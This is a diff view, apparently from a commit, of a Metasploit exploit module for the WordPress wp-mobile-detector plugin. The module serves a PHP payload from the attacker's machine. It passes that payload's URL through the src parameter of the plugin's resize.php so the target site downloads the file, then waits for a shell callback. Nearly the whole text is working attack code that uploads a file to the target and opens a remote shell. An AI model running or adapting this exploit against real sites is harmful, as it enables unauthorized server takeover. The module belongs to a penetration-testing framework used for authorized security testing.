6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
7
Rank = ExcellentRanking
8
8
9
- include Msf ::Exploit ::FileDropper
10
9
include Msf ::Exploit ::Remote ::HTTP ::Wordpress
11
10
include Msf ::Exploit ::Remote ::HttpServer
11
+ include Msf ::Exploit ::FileDropper
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info (
@@ -50,9 +50,6 @@ def check
50
50
end
51
51
52
52
def exploit
53
- if datastore [ 'SRVHOST' ] == '0.0.0.0'
54
- fail_with ( Failure ::BadConfig , 'SRVHOST must be an IP address accessible from rhost' )
55
- end
56
53
payload_name = rand_text_alphanumeric ( 10 ) + '.php'
57
54
58
55
# First check to see if the file is written already, if it is cache wont retrieve it from us
@@ -69,29 +66,22 @@ def exploit
69
66
70
67
def on_request_uri ( cli , _request )
71
68
print_good ( 'Payload requested on server, sending' )
72
- send_response ( cli , payload . encoded , { } )
69
+ send_response ( cli , payload . encoded )
73
70
end
74
71
75
72
print_status ( 'Starting Payload Server' )
76
- payload_url = '/' + payload_name
77
- start_service ( 'Uri' => {
78
- 'Path' => payload_url ,
79
- 'Proc' => proc do |cli , req |
80
- on_request_uri ( cli , req )
81
- end
82
- } )
73
+ start_service ( 'Path' => "/#{ payload_name } " )
83
74
84
- payload_full_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + payload_url
85
- print_status ( "Uploading payload via #{ normalize_uri ( wordpress_url_plugins , 'wp-mobile-detector' , 'resize.php' ) } ?src=#{ payload_full_url } " )
75
+ print_status ( "Uploading payload via #{ normalize_uri ( wordpress_url_plugins , 'wp-mobile-detector' , 'resize.php' ) } ?src=#{ get_uri } " )
86
76
87
77
res = send_request_cgi (
88
78
'global' => true ,
89
79
'method' => 'GET' ,
90
80
'uri' => normalize_uri ( wordpress_url_plugins , 'wp-mobile-detector' , 'resize.php' ) ,
91
- 'vars_get' => { 'src' => payload_full_url }
81
+ 'vars_get' => { 'src' => get_uri }
92
82
)
93
83
94
- if res && res . code == 200
84
+ if res && res . code == 200
95
85
print_good ( 'Sleeping 5 seconds for payload upload' )
96
86
register_files_for_cleanup ( payload_name )
97
87
@@ -104,7 +94,6 @@ def on_request_uri(cli, _request)
104
94
} )
105
95
# wait for callback, without this we exit too fast and miss our shell
106
96
Rex . sleep ( 2 )
107
- handler
108
97
else
109
98
if res . nil?
110
99
fail_with ( Failure ::Unreachable , 'No response from the target' )
0 commit comments